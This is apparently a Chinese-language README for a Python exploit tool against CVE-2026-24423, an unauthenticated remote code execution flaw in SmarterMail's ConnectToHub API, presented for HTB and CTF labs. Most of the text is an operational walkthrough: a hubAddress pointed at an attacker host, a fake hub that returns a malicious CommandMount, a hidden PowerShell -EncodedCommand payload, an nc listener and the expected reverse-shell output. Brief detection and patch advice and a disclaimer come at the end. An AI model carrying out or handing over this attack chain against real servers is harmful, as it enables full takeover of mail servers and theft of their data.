一个基于 Python 的漏洞利用工具,针对 CVE-2026-24423,这是 SmarterTools SmarterMail 的 ConnectToHub 功能中存在的一个未认证远程代码执行漏洞。
预期用途: 仅限授权的安全测试、CTF、Hack The Box 实验室以及受控研究环境。
CVE-2026-24423 是一个影响 SmarterTools SmarterMail 的未认证远程代码执行漏洞。
该漏洞存在于 ConnectToHub 功能中。未认证的攻击者可以提供恶意的 hubAddress,导致 SmarterMail 服务器向攻击者控制的服务器发起 HTTP 请求。
恶意服务器会返回一个精心构造的 setup-initial-connection 响应,其中包含受控的 SystemMount.CommandMount 值。
存在漏洞的 SmarterMail 实例随后会将该值作为操作系统命令处理,从而允许在 SmarterMail 服务的安全上下文中执行任意命令。
该漏洞的 CVSS 4.0 评分为 9.3(严重),并被归类为 CWE-306:关键功能缺少身份验证。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-24423 |
| 厂商 | SmarterTools |
| 产品 | SmarterMail |
| 漏洞 | 未认证远程代码执行 |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 严重 |
| CVSS v3.1 | 9.8 严重 |
| 攻击向量 | 网络 |
| 认证 | 无 |
| 用户交互 | 无 |
| 复杂度 | 低 |
| 发布时间 | 2026 年 1 月 23 日 |
| 修复版本 | 9511 |
官方 CVE 记录将该问题描述为通过 ConnectToHub API 方法实现的未认证 RCE。
Build 9511 之前的 SmarterMail 版本均受影响。
CVE 记录指定的受影响范围如下:
SmarterMail < 100.0.9511
9511 版本于 2026 年 1 月 15 日发布,包含厂商修复。
< 100.0.9511
>= 100.0.9511
在尝试复现该漏洞之前,请务必核实实际安装的构建版本。
存在漏洞的功能通过 SmarterMail 系统管理 API 暴露。
相关操作如下:
/api/v1/settings/sysadmin/connect-to-hub
该端点接受一个 hubAddress 参数。
从概念上讲,攻击者可以提供:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
SmarterMail 随后会连接到提供的 hub 地址并请求:
/web/api/node-management/setup-initial-connection
攻击者控制的服务器会返回包含恶意 SystemMount 对象的 JSON 响应。
关键属性如下:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
CommandMount 值随后会被存在漏洞的应用程序用作操作系统命令。
这使得攻击者能够实现从:
未认证 HTTP 请求
到:
远程命令执行
的转变。
VulnCheck 的技术分析证实,攻击者控制的 hubAddress 会促使 SmarterMail 请求攻击者的 setup-initial-connection 端点,并且返回的 CommandMount 可以提供任意命令执行能力。
该漏洞利用工具由两个组件组成:
Python 服务器监听:
POST /web/api/node-management/setup-initial-connection
并返回包含恶意 SystemMount.CommandMount 的精心构造的 JSON 响应。
一个独立的 TCP 监听器接收目标上执行的命令所发起的连接。
此漏洞利用工具特意使用两个独立的端口。
8081
└── 伪造的 SmarterMail Hub
4455
└── 反向 Shell 监听器
flowchart LR
A[攻击者<br/>10.10.14.50]
H[伪造的 SmarterMail Hub<br/>TCP/8081]
T[SmarterMail 目标<br/>10.129.57.86]
C[CommandMount<br/>命令执行]
P[PowerShell]
L[反向 Shell 监听器<br/>TCP/4455]
A -->|触发 ConnectToHub| T
T -->|HTTP POST| H
H -->|恶意 JSON| T
T -->|CommandMount| C
C --> P
P -->|反向 TCP| L
L --> A目标
|
| HTTP
v
10.10.14.50:8081
目标
|
| TCP
v
10.10.14.50:4455
这两个端口用途不同,不应混淆。
该漏洞利用工具仅使用 Python 标准库模块:
http.server
json
base64
无需外部 Python 包。
编辑以下变量:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
对于示例 HTB 环境:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST 是目标可以访问的攻击者 IP 地址。
对于 Hack The Box,这通常是分配给 HTB VPN 接口的 IP:
ip addr show tun0
示例:
tun0:
inet 10.10.14.50
因此:
LHOST = "10.10.14.50"
LPORT 是攻击者用于接收反向连接的 TCP 端口。
示例:
LPORT = 4455
HUB_PORT 是恶意 SmarterMail hub 使用的 HTTP 端口。
示例:
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
编辑:
nano exploit.py
设置:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
打开一个终端:
nc -lvnp 4455
预期输出:
Listening on 0.0.0.0 4455
保持此终端开启。
打开第二个终端:
python3 exploit.py
如果绑定所选端口需要提升权限:
sudo python3 exploit.py
预期输出:
============================================================
SmarterMail fake hub
============================================================
[+] LHOST: 10.10.14.50
[+] LPORT: 4455
[+] HUB: 10.10.14.50:8081
[+] Waiting for SmarterMail...
============================================================
向存在漏洞的 SmarterMail 实例发送适当的请求。
提供的 hubAddress 必须指向恶意 HTTP 服务器:
{
"hubAddress": "http://10.10.14.50:8081",
"oneTimePassword": "tempst",
"nodeName": "DC"
}
关键值为:
http://10.10.14.50:8081
不要将反向 Shell 端口用作 hub 端口。
| 用途 | IP | 端口 |
|---|---|---|
| 攻击者 VPN | 10.10.14.50 | — |
| 伪造的 SmarterMail Hub | 10.10.14.50 | 8081 |
| 反向 Shell | 10.10.14.50 | 4455 |
| HTB 目标 | 10.129.57.86 | — |
最终流程如下:
hubAddress
↓
10.10.14.50:8081
↓
恶意 CommandMount
↓
PowerShell
↓
10.10.14.50:4455
该漏洞利用工具会动态创建 PowerShell payload。
PowerShell 的 -EncodedCommand 参数要求命令在 Base64 编码之前使用 UTF-16LE 进行编码。
脚本执行以下操作:
encoded = base64.b64encode(
PS.encode("utf-16le")
).decode()
最终命令的结构如下:
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>
这样可以避免手动编码 payload,并防止常见的 UTF-8/UTF-16LE 编码错误。
当目标访问恶意 hub 时:
[+] Received SmarterMail connection
[+] Path: /web/api/node-management/setup-initial-connection
[+] Body: ...
[+] Sending CommandMount payload
[+] Reverse shell -> 10.10.14.50:4455
反向 Shell 监听器随后应收到连接:
Connection received on 10.129.57.86 XXXXX
连接成功后,可以执行基本验证:
whoami
hostname
检查服务器是否正在监听:
ss -lntp | grep 8081
验证 VPN 地址:
ip addr show tun0
确认 LHOST 与目标可访问的地址一致。
成功的 HTTP 请求意味着第一阶段已生效:
目标
|
| HTTP
v
伪造 Hub :8081
但这并不一定意味着第二阶段已成功。
检查:
ss -lntp | grep 4455
确保 Netcat 是在触发漏洞利用之前启动的。
同时验证:
LHOST = 目标可访问的攻击者 IP
LPORT = 监听端口
如果在 Netcat 中看到:
POST /web/api/node-management/setup-initial-connection
说明你将 hubAddress 指向了反向 Shell 监听器。
错误配置:
hubAddress = http://10.10.14.50:4455
正确配置:
hubAddress = http://10.10.14.50:8081
两个端口必须保持独立。
当伪造 hub 未返回 SmarterMail 期望的结构时,可能会出现 400 响应。
验证响应中包含:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
同时确保请求的路径准确无误:
/web/api/node-management/setup-initial-connection
公开的漏洞分析将该端点标识为存在漏洞的 ConnectToHub 流程的一部分。
在此处添加来自 HTB 实验室的截图。
示例:

建议截图:

展示:
[+] Received SmarterMail connection
[+] Sending CommandMount payload

展示包含以下内容的请求:
{
"hubAddress": "http://10.10.14.50:8081"
}

展示:
Connection received on 10.129.57.86
以及由此产生的命令提示符。
smartermail-rce/
│
├── exploit.py
├── README.md
│
└── screenshots/
├── nmap.png
├── burp-request.png
├── fake-hub.png
└── reverse-shell.png
潜在的利用迹象包括对以下地址的意外请求:
/api/v1/settings/sysadmin/connect-to-hub
以及 SmarterMail 服务器向此前未知的 HTTP 主机发起的出站连接。
管理员还应审查应用程序、IIS/反向代理和网络日志,查找可疑的 ConnectToHub 活动。
CVE-2026-24423 已被纳入 CISA 的已知被利用漏洞目录,表明该漏洞已在实验室环境之外被观察到实际利用。
主要的修复措施是将 SmarterMail 升级到 Build 9511 或更高版本。厂商于 2026 年 1 月 15 日发布的版本已解决该漏洞。
在无法立即修补的情况下,组织还应考虑:
ConnectToHub 请求。本项目仅供授权的安全研究和教育目的使用。
请勿针对您不拥有或未经明确许可进行测试的系统使用此漏洞利用工具。
作者对因使用本软件而导致的滥用、损害、数据丢失、未经授权的访问或其他后果不承担任何责任。
请仅在受控环境中使用,例如:
CVE-2026-24423 的发现归功于:
该 CVE 由 VulnCheck 于 2026 年 1 月 23 日发布。